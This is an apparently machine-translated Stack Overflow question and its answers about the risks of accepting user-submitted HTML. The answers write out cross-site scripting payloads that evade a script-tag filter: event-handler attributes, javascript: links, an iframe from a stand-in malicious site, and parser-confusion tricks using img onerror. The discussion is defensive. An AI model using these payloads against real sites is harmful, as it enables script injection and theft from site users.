2011-09-24 71 views
2

我正在使用contentEditable div,它允許用戶編輯主體HTML,然後使用AJAX請求直接將其發佈到網站。當然,我必須對它進行一些安全檢查。最明顯的是通過在提交的HTML中搜索<script來確保沒有提交腳本標記。這是在第一次運行htmlentities之後完成的,將數據傳輸到另一臺服務器,然後運行html_entity_decode。另外,每個打開的標籤都必須關閉,並且每個關閉的標籤都必須在用戶提交的HTML中打開。用戶提交的HTML的安全風險

忽視不相關的安全風險(如SQL注入)和非安全風險(如用戶發佈不適當的圖像),還有什麼其他安全風險,如果有的話,具體鏈接到允許用戶添加HTML直接到一個頁面?

更具體地講,

  1. 是把腳本的頁面有辦法沒有明確使用腳本標籤或
  2. 有沒有方法可以危及站點的安全性和它的用戶可以通過編輯沒有使用腳本的HTML?
+0

可能出現的[在PHP網站中避免xss攻擊的最佳做法]的重複(http://stackoverflow.com/questions/71328/what-are-the- best-practices-for-avoid-xss-attack-in-a-php-site) – Quentin

+0

這當然是這個問題的一個子集,但這個問題稍微寬泛一些。我相信對這個問題的理想答案已經在這裏提出,而對這個問題的答案並不適合這個問題。 –

回答

1

的Javascript可以通過使用元素的事件屬性,如被稱爲任意數量的方式:

<body onload=".."> 

類似的問題貼here建議使用HTMLPurifier而不是試圖自己處理這個問題。

+0

從@JasonDean和這個帖子都非常有用,並很好地回答了這個問題。我一定會使用HTMLPurifier。 –

1

您是否認爲<object><embed>對象存在安全風險?

我會使用strip_tags()剝html標籤

2

是的,是的。

用戶注入腳本時沒有腳本標記的方法很多。

他們能做到這一點的JS處理

<div onmouseover="myBadScript()" /> 

他們可以在HREF中

<a href="javascript:myBadScript()">Click me fool!!</a> 

他們可以從外部源做

<iframe src="http://www.myevilsite.com/mybadscripts.html" /> 

他們可以做到這一點做到這一點以各種方式。

恐怕讓用戶做到這一點的想法並不好。看看使用Wiki標記/下來。它會更安全。

2

是的。有多種方式可以將惡意代碼注入到您的網站中。

其他答案已經提到了所有最明顯的答案,但有很多更微妙的方法可以進入,如果您要接受用戶提交的HTML代碼,您需要了解他們都是,因爲黑客不只是嘗試這些明顯的東西,然後放棄。

你需要檢查所有事件處理屬性 - 不僅僅是onclick,但一切:onfocusonload,甚至onerroronscroll可以被黑客攻擊。

但是更重要的是,您需要注意那些旨在通過驗證的黑客。例如,使用HTML破混淆解析器以爲它是安全的:

<!--<img src="--><img src=fakeimageurl onerror=MaliciousCode();//"> 

<style><img src="</style><img src=fakeimageurl onerror=DoSomethingNasty();//"> 

<b <script>ReallySneakyJavascript();</script>0 

所有這些很容易溜過驗證程序。

不要忘記,真正的黑客可能比這更混亂。他們會努力讓你難以發現,或理解你發現它的過程。

我會通過推薦這個網站完成:http://html5sec.org/其中有大量的攻擊媒介的細節,其中大部分我當然不會想到。 (上面的例子都是列表中的功能)